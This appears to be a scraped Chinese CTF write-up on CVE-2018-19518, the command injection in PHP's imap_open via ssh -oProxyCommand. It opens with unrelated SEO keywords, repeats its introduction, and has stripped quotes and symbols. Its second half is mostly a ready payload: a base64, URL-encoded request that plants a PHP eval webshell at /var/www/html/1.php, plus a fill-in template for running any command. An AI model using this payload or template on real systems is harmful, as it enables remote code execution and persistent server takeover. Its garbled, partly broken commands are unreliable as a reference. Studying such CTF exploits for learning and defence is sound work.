网站后台登录界面,网站布局设计排版,wordpress 回复显示,沈阳哪家网站制作公司比较好CVE-2018-19518
漏洞介绍
IMAP协议#xff08;因特网消息访问协议#xff09;它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息#xff0c;下载邮件等。它运行在TCP/IP协议之上#xff0c;使用的端口是143。在php中调用的是imap_open函数。
PHP 的…CVE-2018-19518
漏洞介绍
IMAP协议因特网消息访问协议它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息下载邮件等。它运行在TCP/IP协议之上使用的端口是143。在php中调用的是imap_open函数。
PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能攻击者可利用这些功能在目标系统上执行任意shell命令。利用此漏洞的功能代码是Metasploit Framework的一部分。
imap_open(string $mailbox,string $user,string $password)
其中参数mailbox,是用来连接邮箱服务器的。它会调用rsh来连接远程shell而debian/ubuntu中默认使用ssh来代替rsh如下图
又因为ssh命令中可以通过设置-oProxyCommand来调用第三方命令所以攻击者通过注入这个参数最终将导致命令执行漏洞。
ssh -oProxyCommand tac /flag|tee /tmp/executedlocalhost
#其中管道符tee意思是将内容追加到文件并且在屏幕输出可以看到尽管没有连接成功但是我们成功的把命令写入到了文件所以这也就是我们系统被攻击的成因。
ProxyCommand连接服务器的这样的一个命令具体说明如下 ProxyCommand 指定用于连接服务器的命令。命令字符串扩展到行的末尾并使用用户的shell’ exec’指令执行以避免延迟的shell进程。 ProxyCommand接受TOKENS 部分中描述的令牌的参数。该命令基本上可以是任何东西并且应该从其标准输入读取并写入其标准输出。它应该最终连接在某台机器上运行的sshd服务器或者在sshd -i某处执行。主机密钥管理将使用所连接主机的HostName完成默认为用户键入的名称。设置命令以none完全禁用此选项。请注意 CheckHostIP无法与代理命令连接。 该指令与nc及其代理支持结合使用非常有用。例如以下指令将通过192.0.2.0的HTTP代理连接 ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 解析命令时还会有问题。要绕过斜杠和空格的转义。用$IFS和\t或者base64编码和相关命令再解码。如下
echo echo hello|tee /tmp/executed|base64ehco ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo|base64 -d|bash影响版本
Ubuntu、Debian、Red Hat、SUSE
PHP 5.6.x 5.6.39 开始做题。初始界面是邮箱登录有三个参数可以输入分别是邮箱、账号、密码。是CVE-2018-19518的特征。 看看network版本条件都满足。 抓个包看看三个参数是hostname、username、password猜测后端PHP语言用了imap_open(string $mailbox,string $user,string $password)语句。满足条件。 直接固定payload打
# 原始payload
x-oProxyCommandecho echo ?php eval($_POST[1]); /var/www/html/1.php|base64 -d|sh}# base64url编码以后
hostnamex-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}# 模板
hostnamex-oProxyCommand%3decho%09【要执行命令的base64】|base64%09-d|sh}usernamexxxpasswordxxx最终payload
hostnamex-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}usernamexxxpasswordxxx访问/1.php直接getshell。